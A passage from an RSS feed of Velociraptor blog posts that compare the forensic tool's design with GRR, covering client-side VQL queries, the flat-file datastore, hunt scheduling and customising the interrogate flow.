tables using VQL.&#xA;For the remaining tables (the ones that need to call out to libraries or&#xA;more complex APIs), we will integrate these using a set of specialized&#xA;VQL plugins over time.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Design differences between Velociraptor and GRR</title>
      <link>https://www.velociraptor-docs.org/blog/html/2018/08/10/design_differences_between_velociraptor_and_grr/</link>
      <pubDate>Fri, 10 Aug 2018 04:10:06 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/html/2018/08/10/design_differences_between_velociraptor_and_grr/</guid>
      <description>&lt;h3 id=&#34;velociraptor-clients-run-full-vql-queries&#34;&gt;Velociraptor Clients run full VQL queries&lt;/h3&gt;&#xA;&lt;p&gt;GRR&#39;s design started off with the assumption that the client should be&#xA;minimalist and only support a few simple primitives (such as&#xA;ListDirectory, ListProcesses etc). The intention was that most of the&#xA;processing would be executed on the server inside a &amp;quot;Flow&amp;quot;. The main&#xA;motivation for this design choice was the observation that it is&#xA;difficult to upgrade the client in practice, and so with a minimal&#xA;client, it would be possible to develop more sophisticated Flows, server&#xA;side, without needing to update the clients.&lt;/p&gt;&#xA;&lt;p&gt;After running GRR for a while we noticed that this design choice was&#xA;problematic, since it leads to many client round trips. For example the&#xA;FileFinder flow searches the client&#39;s filesystem for files by name,&#xA;date etc. GRR&#39;s original file finder uses a complex algorithm to issue&#xA;ListDirectory requests to the client, receive their responses, filter&#xA;and recurse into directories by communicating with the client again.&#xA;This leads to many round trips and has a huge performance hit on both&#xA;the server and client.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor does away with all that by including rich client side&#xA;functionality (through VQL plugins), and implementing VQL queries to&#xA;perform the filtering. This means that in reality, Velociraptor has very&#xA;few client round trips, generally just one: The VQL query is sent to the&#xA;client, and the result is received by the server.&lt;/p&gt;&#xA;&lt;p&gt;Some types of analysis require the results of one operation to feed into&#xA;the next operation. For example, suppose we wanted to upload all&#xA;executables that are run from a temp directory. This requires listing&#xA;all processes, then filtering the ones running from a temp directory,&#xA;and finally uploading those to the server.&lt;/p&gt;&#xA;&lt;p&gt;GRR&#39;s model requires writing a new flow for this - the flow first&#xA;issues a ListProcesses request to the client, then receives all&#xA;processes where the filtering happens on the server. The server then&#xA;issues upload commands for each matching process. Performing this&#xA;analysis requires writing and deploying new code making it difficult to&#xA;adapt rapidly to changing threats.&lt;/p&gt;&#xA;&lt;p&gt;With Velociraptor one simply issues the following VQL query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;LET files = SELECT Exe, Cmdline, Username FROM pslist()&#xA;        WHERE Exe =~ &#39;(?i)temp&#39;&#xA;SELECT Exe, Cmdline, Username, upload(file=Exe) AS Upload&#xA;  FROM files&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;VQL avoids this round trip completely, since VQL queries can be nested&#xA;and chained together. Therefore one simply runs the first query (list&#xA;all processes running from temp directory), and sends the results to the&#xA;next query (download the matching files) inside the same VQL client&#xA;request. It is rare that Velociraptor flows run multiple client round&#xA;trips, resulting in lightweight and fast completing flows.&lt;/p&gt;&#xA;&lt;h1 id=&#34;worker-and-database-queues&#34;&gt;Worker and Database queues.&lt;/h1&gt;&#xA;&lt;p&gt;The GRR model of long running flows with multiple client/server&#xA;interactions required more complex design. Since client messages can be&#xA;delivered in multiple POST requests, and a single request can result in&#xA;multiple responses, GRR must queue responses somewhere until they are&#xA;all ready to be processed. Otherwise writing GRR flows would be&#xA;difficult because one would need to account for incomplete responses.&lt;/p&gt;&#xA;&lt;p&gt;GRR uses a complex request/response protocol to ensure messages are&#xA;delivered in order, reminiscent of the TCP stack&#39;s packet reassembling&#xA;algorithms.&lt;/p&gt;&#xA;&lt;p&gt;Consider the simple request &amp;quot;ListDirectory&amp;quot;. The client request may&#xA;elicit thousands of responses (one for each file) and may span multiple&#xA;POST operations. The GRR frontend queues all the responses in the&#xA;database until it receives a STATUS response, and then fetches once. So even&#xA;if the client sends the responses over multiple packets, the flow only&#xA;sees a single list. When a status message is seen by the frontend, it&#xA;notifies the worker via a worker queue, which collects all responses,&#xA;orders them by response ID and delivers to the flow object.&lt;/p&gt;&#xA;&lt;p&gt;This design is necessary if flows are long lived and need to handle&#xA;thousands of responses for each request. However in practice this design&#xA;has a couple of serious problems:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The frontend receives responses and just writes them into the&#xA;database in special queue rows, then the worker reads them from the&#xA;queue rows for processing (after which they must be deleted from the&#xA;database). This leads to a lot of unnecessary read/write/delete&#xA;cycles and extra load on the database.&lt;/li&gt;&#xA;&lt;li&gt;The worker queue rows are used by all clients and all flows. This&#xA;leads to a lot of database contention on these rows. Extra care must&#xA;be taken to ensure no race conditions, through careful management of&#xA;database locks. Extra locks slow down the database and typically for&#xA;a busy system queue contention is a huge bottleneck.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This is easy to observe in practice on a busy GRR system (i.e. one that&#xA;is running many flows or hunts) by simply looking at the output from&#xA;top. Typically the mysql process uses as much CPU or more than the&#xA;frontends and workers combined. This indicates a huge load on the&#xA;database and limits scalability. Increasing the number of frontends only&#xA;helps marginally because the database throughput becomes the limiting&#xA;factor. In fact, increasing the number of workers can deteriorate&#xA;performance because workers poll on their queues while holding locks&#xA;thereby increasing row lock contention even more.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor takes a different approach. Since Velociraptor flows are&#xA;very simple and typically only consist of a few request/response cycles,&#xA;the server does not bother to reorder replies that come in different&#xA;packets. Therefore there is no need to temporarily store or queue&#xA;responses. Responses can be delivered to the flow as soon as they are&#xA;received - and flows typically just write them to the database in their&#xA;final storage location.&lt;/p&gt;&#xA;&lt;p&gt;Therefore Velociraptor does not have a dedicated worker, nor does it&#xA;have database queues. The frontend itself runs the flows directly on the&#xA;received packets while serving the client&#39;s poll request. This&#xA;completely eliminates the need for worker queues and their associated&#xA;database contention issues. Removing the worker queues eliminates a&#xA;significant amount of very complex and delicate code. Additionally,&#xA;since the responses are not written/read to the queue, the total load on&#xA;the database is significantly reduced. (In fact because database lock&#xA;contention is so low, Velociraptor can work very well with plain files&#xA;through the FileBaseDataStore, even at large scale!)&lt;/p&gt;&#xA;&lt;p&gt;The following illustration demonstrates how significant this is for the&#xA;simple example of a ListDirectory request of a directory with 1000 files&#xA;in it (e.g. the c:windows directory). The equivalent VQL is&#xA;select * from glob(paths=&#39;c:/windows/*&#39;) and only produces a single&#xA;response packet containing all the files in the one table, whereas&#xA;GRR&#39;s ListDirectory client action produces a single response for each&#xA;file, which is then queued and stored independently in the database.&lt;/p&gt;&#xA;&lt;p&gt;The overall effect, in the GRR case, is that 2000 database rows are&#xA;created, of which 1000 rows are immediately deleted - a significant&#xA;database load. Compare this with the Velociraptor equivalent flow -the&#xA;VQL request is sent to the client once, then the response is returned to&#xA;the frontend in a single POST operation. Since Velociraptor does not&#xA;have a separate worker and does not need to queue messages to it, the&#xA;frontend immediately runs the flow which just writes the result into a&#xA;single DB row - total database operations: 1 row written.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/08/10/design_differences_between_velociraptor_and_grr//blog/html/2018/08/10/design_differences_between_velociraptor_and_grr/image1.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;960&#34; height=&#34;720&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;image1.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Eliminating the need for a separate worker process also simplifies&#xA;deployment significantly. GRR needs to deploy separate frontends and&#xA;worker processes, and it is often difficult to know which one to scale&#xA;up. Scaling up the frontend will allow more packets to be received but&#xA;actually increases the load on the database. Not having sufficient&#xA;workers will leave many requests on the queue for a long time and will&#xA;prolong the execution of the flow since a worker must run the flow in&#xA;order to issue the next set of requests. This leads to flows which take&#xA;many hours to complete and even hung flows (if the client reboots or&#xA;disconnects before the flow finished).&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor deployment is much simpler - there is only a single binary&#xA;and it can be scaled and load balanced as needed. Since database load is&#xA;much lower, the frontend can handle a much larger load. Furthermore, the&#xA;flows typically execute in very short time (since there is only one&#xA;round trip). The overall result is that flow throughput is much&#xA;increased and resource usage is reduced.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Files, files everything is just a file!</title>
      <link>https://www.velociraptor-docs.org/blog/html/2018/08/10/files_files_everything_is_just_a_file/</link>
      <pubDate>Fri, 10 Aug 2018 04:10:06 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/html/2018/08/10/files_files_everything_is_just_a_file/</guid>
      <description>&lt;p&gt;GRR&#39;s original design abstracted the data storage to a simple key/value&#xA;store originally based around Bigtable. For open source deployments&#xA;various key value stores were used starting from MongoDB, to SQLite and&#xA;finally MySQL. Although the original idea was to use a simple key/value&#xA;implementation, due to locking requirements the data store&#xA;implementation became very complex.&lt;/p&gt;&#xA;&lt;p&gt;As Velociraptor introduced a major redesign of the underlying data store&#xA;architecture, we are now able to relax our demands of the datastore and&#xA;use a true key/value model (since we have no requirements for locking&#xA;and synchronization). The default data store is now the&#xA;FileBaseDataStore which stores all data in flat files.&lt;/p&gt;&#xA;&lt;p&gt;Using flat files over a database has many advantages, including ease of&#xA;deployment, and simplification of the data model. Having flat files&#xA;allows one to use standard tools to visualize Velociraptor&#39;s data&#xA;structures (e.g. with less), archive old data (e.g. with tar/zip) and&#xA;clean up old data (e.g. with find/rm). Velociraptor also includes an&#xA;inspect command which allows users to decode the stored files and&#xA;provides context as to what these files actually mean. This simplicity&#xA;increases the transparency in the system and makes it more accessible&#xA;for deployers, while increasing reliability, stability and speed.&lt;/p&gt;&#xA;&lt;p&gt;In the following section we examine some of the files in the datastore&#xA;and see how they relate to the features we discuss elsewhere in this&#xA;document.&lt;/p&gt;&#xA;&lt;h1 id=&#34;file-organization&#34;&gt;File organization&lt;/h1&gt;&#xA;&lt;p&gt;The Velociraptor data store needs to provide only two types of&#xA;operations: Read and Write complete files and list files in a directory.&#xA;Using only these primitives we can implement the entire filestore. Most&#xA;modern file systems provide very fast file creation, reading and&#xA;deletion, as well as fast directory listing, even when containing&#xA;millions of files. Modern file systems also provide advanced features&#xA;like caching, journaling and rollbacks so it is not such a crazy idea to&#xA;use the file systems themselves as a data store.&lt;/p&gt;&#xA;&lt;p&gt;Let&#39;s begin by listing the files in a typical Velociraptor file store&#xA;using the find command. We then use the velociraptor inspect command to&#xA;view the file&#39;s content.&lt;/p&gt;&#xA;&lt;h2 id=&#34;searching&#34;&gt;Searching&lt;/h2&gt;&#xA;&lt;p&gt;Searching for clients is implemented by simply creating empty files in&#xA;directories based on the search term. For example in order to retrieve&#xA;all clients which have the user &amp;quot;mic&amp;quot;, we simply list the directory&#xA;&lt;code&gt;client\_index/user%3Amic&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;$ find ./client_index/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt; ./client\_index/c.84216c7aab97557d&#xA; ./client\_index/c.84216c7aab97557d/C.84216c7aab97557d.db./client\_index/user%3Amic&#xA; ./client\_index/user%3Amic/C.84216c7aab97557d.db&#xA; ./client\_index/user%3Amic/C.1b0cddfffbfe40f5.db./client\_index/all&#xA; ./client\_index/all/C.84216c7aab97557d.db&#xA; ./client\_index/all/C.1b0cddfffbfe40f5.db&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Modern file systems can hold many thousands of files in the same&#xA;directory and list these very quickly. This feature is only really used&#xA;in the GUI&#39;s search box but can also be used to script or post process&#xA;collected data.&lt;/p&gt;&#xA;&lt;h2 id=&#34;client-information&#34;&gt;Client information&lt;/h2&gt;&#xA;&lt;p&gt;Information about each client is kept in a directory based on the&#xA;client&#39;s ID:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;./C.0fc63b45671af1a6/ping.db                   &amp;lt;- Last ping stats.&#xA;./C.0fc63b45671af1a6/key.db                    &amp;lt;- Client&#39;s public key&#xA;./C.0fc63b45671af1a6/flows&#xA;./C.0fc63b45671af1a6/flows/F.a8787c26.db       &amp;lt;- Flows running on this client.&#xA;./C.0fc63b45671af1a6/flows/F.e05952ff.db&#xA;./C.0fc63b45671af1a6/tasks&#xA;./C.0fc63b45671af1a6/tasks/1533517805834284.db &amp;lt;- Client messages waiting to be collected.&#xA;./C.0fc63b45671af1a6/tasks/1533517805834283.db&#xA;./C.0fc63b45671af1a6/tasks/1533517206859989.db&#xA;./C.0fc63b45671af1a6/tasks/1533517206860477.db&#xA;./C.84216c7aab97557d.db                        &amp;lt;- Client information (from Interrogate).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Each piece of data is kept in its own file as an encoded protobuf. Files&#xA;all have their names end with &amp;quot;.db&amp;quot;. Velociraptor has an inspect&#xA;command which decodes the protobuf and displays it in a human friendly&#xA;way. For example let us see what information we keep about each s last&#xA;poll:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;$ velociraptor --config server.yaml inspect /tmp/velociraptor/C.2d406f47d80f5583/ping.db&#xA;{&#xA;  &amp;quot;ipAddress&amp;quot;: &amp;quot;127.0.0.1:33600&amp;quot;,&amp;quot;ping&amp;quot;: &amp;quot;1533517053018582&amp;quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2 id=&#34;the-flows-results&#34;&gt;The Flow&#39;s results.&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor&#39;s flows typically only produce VQL results. As described&#xA;above, the VQL results are typically split into parts by the client (by&#xA;default 10000 rows per part), and Velociraptor simply writes these in&#xA;the flow&#39;s directory:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;./C.1b0cddfffbfe40f5/flows/F.a31255a1&#xA;./C.1b0cddfffbfe40f5/flows/F.a31255a1/results&#xA;./C.1b0cddfffbfe40f5/flows/F.a31255a1/results/0.db   &amp;lt;- VQL result part 1.&#xA;./C.1b0cddfffbfe40f5/flows/F.a31255a1.db             &amp;lt;- Flow information.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Velociraptor&#39;s inspect command understands that VQL collections&#xA;represent a table of results, and so it displays these in a more&#xA;friendly way.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;$ velociraptor --config server.yaml inspect /tmp/velociraptor/C.1b0cddfffbfe40f5/flows/F.a31255a1/results/0.db&#xA;+-------+----------------+---------+------+-----------------------------+----------------------------+&#xA;| ISDIR |    FULLPATH    |  SIZE   | MODE |            MTIME            |            ATIME           |&#xA;+-------+----------------+---------+------+-----------------------------+----------------------------+&#xA;| false |  /bin/bash     | 1037528 |  493 |  2017-05-16T22:49:55+10:00  |  2018-01-22T12:47:25+10:00 |&#xA;| false |  /bin/busybox  | 1964536 |  493 |  2015-08-19T22:07:39+10:00  |  2018-01-23T15:41:46+10:00 |&#xA;+-------+----------------+---------+------+-----------------------------+----------------------------+&#xA;File Finder Response: SELECT IsDir , FullPath , Size , Mode , mtime , atime , ctime,&#xA;   upload(file=FullPath)as Upload FROM files&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;We can also see the original VQL query which was run to produce this&#xA;output. The bottom line, though, is that the entire flow&#39;s result is&#xA;just a flat JSON encoded file. You can easily decode the data using any&#xA;programming language and post process it in whatever way is appropriate&#xA;(e.g. export the results to BigQuery or ElasticSearch). Velociraptor&#xA;does not really do anything with the result other than just store it on&#xA;disk.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-virtual-file-system&#34;&gt;The Virtual File System&lt;/h2&gt;&#xA;&lt;p&gt;As described above, Velociraptor&#39;s VFS consists of VQL tables for each&#xA;directory on the client, listing the entire directory content:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;./C.1b0cddfffbfe40f5/vfs/usr/share/doc/gir1.2-freedesktop.db&#xA;./C.1b0cddfffbfe40f5/vfs/usr/share/doc/libdatrie1.db&#xA;./C.1b0cddfffbfe40f5/vfs/usr/share/doc/dh-strip-nondeterminism.db&#xA;./C.1b0cddfffbfe40f5/vfs/usr/share/doc/libcap2-bin.db&#xA;./C.1b0cddfffbfe40f5/vfs/usr/share/doc/libsoup2.4-1.db&#xA;./C.1b0cddfffbfe40f5/vfs/usr/share/doc/libgphoto2-port12.db&#xA;./C.1b0cddfffbfe40f5/vfs/usr/share/doc/libsodium18.db&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Inspecting each of these shows it is just a simple VQL table. This&#xA;particular VFS entry was produced from a recursive directory listing of&#xA;/usr (of depth 5).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;$ velociraptor --config server.yaml inspect .../vfs/usr/share/doc/libcap2-bin.db&#xA;+-------+--------------------------------+---------------------+------+-----------+--------------------&#xA;| ISDIR |            FULLPATH            |        NAME         | SIZE |   MODE    |           MTIME&#xA;+-------+--------------------------------+---------------------+------+-----------+--------------------&#xA;| false | /usr/share/doc/libcap2-bin/REA | README.Debian       | 1149 |       420 | 2015-10-02T23:34:07&#xA;|       | DME.Debian                     |                     |      |           |&#xA;| false | /usr/share/doc/libcap2-bin/cha | changelog.Debian.gz |   30 | 134218239 | 2015-10-24T07:11:34&#xA;|       | ngelog.Debian.gz               |                     |      |           |&#xA;| false | /usr/share/doc/libcap2-bin/cop | copyright           | 4367 |       420 | 2015-10-02T23:34:07&#xA;|       | yright                         |                     |      |           |&#xA;+-------+--------------------------------+---------------------+------+-----------+--------------------&#xA;/usr: SELECT IsDir, FullPath as _FullPath, Name, Size, Mode, timestamp(epoch=Sys.Mtim.Sec) as mtime,&#xA;  timestamp(epoch=Sys.Atim.Sec) as ys.Ctim.Sec) as ctime FROM glob(globs=path + &#39;/**5&#39;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;</description>
    </item>
    <item>
      <title>Hunting - What Velociraptors do best!</title>
      <link>https://www.velociraptor-docs.org/blog/html/2018/08/10/hunting_what_velociraptors_do_best/</link>
      <pubDate>Fri, 10 Aug 2018 04:10:06 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/html/2018/08/10/hunting_what_velociraptors_do_best/</guid>
      <description>&lt;p&gt;Velociraptor has completely redesigned the way that hunts are&#xA;implemented in order to avoid database locking and increase hunt&#xA;processing efficiency.&lt;/p&gt;&#xA;&lt;p&gt;Now we hunt like this:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/08/10/hunting_what_velociraptors_do_best//blog/html/2018/08/10/hunting_what_velociraptors_do_best/image4.jpg&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;320&#34; height=&#34;258&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;image4.jpg&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h1 id=&#34;how-are-hunts-scheduled&#34;&gt;How are hunts scheduled?&lt;/h1&gt;&#xA;&lt;p&gt;GRR allows hunts to be scheduled by a few client properties such as OS&#xA;type, label, users etc. This works because GRR has an extensive data&#xA;model of endpoint properties. However, this requires that the data model&#xA;be refreshed periodically to be kept accurate. For example, to run a&#xA;hunt of all machines with a suspected compromised user account we can&#xA;schedule the run on all machines where the user has logged in, but&#xA;because GRR uses its data model to decide if a machine should be issued&#xA;the hunt, the data model may be out of date and GRR will not schedule&#xA;the hunt on machines which have only recently been logged into. For this&#xA;reason we typically run the Interrogate hunt very frequently causing a&#xA;lot of extra load on the system and clients hoping to minimize the time&#xA;window where the data model is out of date with reality.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor&#39;s approach is different - since Velociraptor does not&#xA;really maintain a data model server side, we check the client&#39;s&#xA;information for every hunt, before we even decide if the hunt should be&#xA;scheduled for this client. This is done by issuing a VQL query to the&#xA;client.&lt;/p&gt;&#xA;&lt;p&gt;Sometimes we don&#39;t necessarily want the client to know exactly why we&#xA;are scheduling the hunt (e.g. in the compromised user account case we&#xA;don&#39;t want to advertise the exact username we are looking for). In&#xA;these cases we run another VQL query on the server side.&lt;/p&gt;&#xA;&lt;p&gt;So hunt selection is managed by two different VQL queries - a client&#xA;side one and a server side on.&lt;/p&gt;&#xA;&lt;p&gt;The default client side VQL queries simply collects the usual facts like&#xA;OS version, Username etc, while the server side query filters the&#xA;results with more specific conditions. This approach does not reveal to&#xA;the client the hunt&#39;s condition:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;Client side VQL:&#xA;    SELECT OS, Architecture, Fqdn, Platform,&#xA;      config.Client_labels AS Labels&#xA;      FROM info()&#xA;&#xA;Server side VQL:&#xA;    SELECT * from rows&#xA;      WHERE Fqdn =~ &#39;(?i)myhostname.+&#39; AND &#39;MY_LABEL&#39; IN Labels&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h1 id=&#34;the-hunts-life-cycle&#34;&gt;The hunt&#39;s life cycle&lt;/h1&gt;&#xA;&lt;p&gt;When the hunt is started, the server updates its in-memory list of&#xA;active hunts managed by the Foreman. Clients then poll the foreman for&#xA;new hunts they should participate in. Clients remember the last hunt&#xA;they participated in and so they present this hunt&#39;s timestamp to the&#xA;foreman. If a new hunt is available, the foreman can immediately launch&#xA;the &lt;code&gt;CheckHuntCondition&lt;/code&gt; flow on the client.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;The clients themselves are actively keeping track of the hunts they&#xA;participated in. This avoids the server having to check the client&#39;s DB&#xA;record.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;CheckHuntCondition&lt;/code&gt; flow issues the client side VQL queries and then&#xA;runs the server side query on the results. If the query matches (i.e.&#xA;the hunt should be scheduled for this client), the client&#39;s record is&#xA;written into the hunt&#39;s &amp;quot;pending&amp;quot; queue.&lt;/p&gt;&#xA;&lt;h1 id=&#34;the-hunt-manager&#34;&gt;The hunt manager&lt;/h1&gt;&#xA;&lt;p&gt;Each hunt specifies its own client recruitment rate (i.e. how many&#xA;clients will be started per minute). The hunt manager is a component&#xA;which periodically reads all hunts and schedules flows for these hunts&#xA;if the hunts&#39; client rate allows for more clients to be scheduled. It&#xA;does this by moving clients from the pending queue to the running queue&#xA;and starting respective flows for them.&lt;/p&gt;&#xA;&lt;p&gt;Once each of those flows completes, the record is moved from the running&#xA;queue to the completed queue or the results queue if the flow produced&#xA;any results. We can observe how many clients exist in each queue using&#xA;the GUI.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/08/10/hunting_what_velociraptors_do_best//blog/html/2018/08/10/hunting_what_velociraptors_do_best/image2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;867&#34; height=&#34;404&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;image2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The flows that hunts launch arn the client. However, when they complete,&#xA;a small record is made in the hunts&#39;s results queue pointing to the&#xA;flow. It is therefore possible to retrieve all results from the hunt&#xA;from all client&#39;s. For example, the GUI allows downloading a zip file&#xA;of all the results and files uploaded:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/08/10/hunting_what_velociraptors_do_best//blog/html/2018/08/10/hunting_what_velociraptors_do_best/image7.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1109&#34; height=&#34;732&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;image7.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Since hunts invoke regular flows, and Velociraptor flows are much&#xA;lighter than GRR&#39;s flows, hunts are much cheaper to run in terms of&#xA;resources consumed.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Interrogation - Make the endpoint tell us what it knows!</title>
      <link>https://www.velociraptor-docs.org/blog/html/2018/08/10/interrogation_make_the_endpoint_tell_us_what_it_knows/</link>
      <pubDate>Fri, 10 Aug 2018 04:10:06 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/html/2018/08/10/interrogation_make_the_endpoint_tell_us_what_it_knows/</guid>
      <description>&lt;p&gt;When writing Velociraptor we decided to keep things very simple - we did&#xA;away with a lot of the information gathered during interrogate in favor&#xA;of a much simpler data model.&lt;/p&gt;&#xA;&lt;h1 id=&#34;data-modelling---the-interrogate-flow&#34;&gt;Data Modelling - The Interrogate Flow&lt;/h1&gt;&#xA;&lt;p&gt;GRR maintains an elaborate model of client data. For example, GRR&#xA;collects and maintains a list of clients&#39; network interfaces, users,&#xA;user&#39;s home directory etc. This information is maintained in elaborate&#xA;protobufs and stored in the database in many rows.&lt;/p&gt;&#xA;&lt;p&gt;While some of this information is needed for client searching, GRR&#xA;maintains vastly more information than necessary in this data model. The&#xA;client data model is built during the interrogate phase (A periodic flow&#xA;run on the clients to refresh server side data).&lt;/p&gt;&#xA;&lt;p&gt;Maintaining such a complex data model results in a very rigid design.&#xA;For example, if a user wanted to collect more information from clients&#xA;they would need to modify protobufs, update the interrogate flow,&#xA;recompile the code and redeploy. These modifications are also very&#xA;invasive as once code has been heavily modified, there is an overhead of&#xA;keeping these modifications in sync with newer upstream versions.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor also maintains client information via its Interrogate flow.&#xA;However, Velociraptor&#39;s interrogate flow simply issues a series of VQL&#xA;queries, and these responses are stored directly in the database with&#xA;minimal interpretation. Indexes are maintained for some information&#xA;which users should be able to search on, but there is no attempt to&#xA;build or maintain a client data model at all (You can see details of the&#xA;model described below in the FileBaseDataStore post).&lt;/p&gt;&#xA;&lt;p&gt;The advantage of this approach is that users can simply add extra VQL&#xA;queries to the interrogate phase to collect more tailored site specific&#xA;information. This does not require compiling of any code or redeploying&#xA;the server. The following example illustrates the power of this&#xA;technique.&lt;/p&gt;&#xA;&lt;h1 id=&#34;customizing-the-interrogate-flow&#34;&gt;Customizing the Interrogate flow.&lt;/h1&gt;&#xA;&lt;p&gt;Normally Velociraptor collects minimal information from the client upon&#xA;interrogation (i.e. when the client first enrols or when interrogated&#xA;periodically). However it is very easy to customize this collection&#xA;depending on local site requirements. In this section we work through a&#xA;step by step example of extending the Velociraptor interrogate flow.&lt;/p&gt;&#xA;&lt;p&gt;Suppose that in our deployment we wanted to check if a machine is able&#xA;to be logged into remotely. For a Linux machine we want to see all&#xA;authorized_keys files on every machine that enrolls. Collecting this&#xA;information allows us to quickly see which machines a compromised user&#xA;account could spread to.&lt;/p&gt;&#xA;&lt;p&gt;We know we need to issue a VQL query but we are not 100% sure which one.&#xA;Luckily we can use Velociraptor itself to run the query locally using&#xA;the syntax &amp;quot;velociraptor query 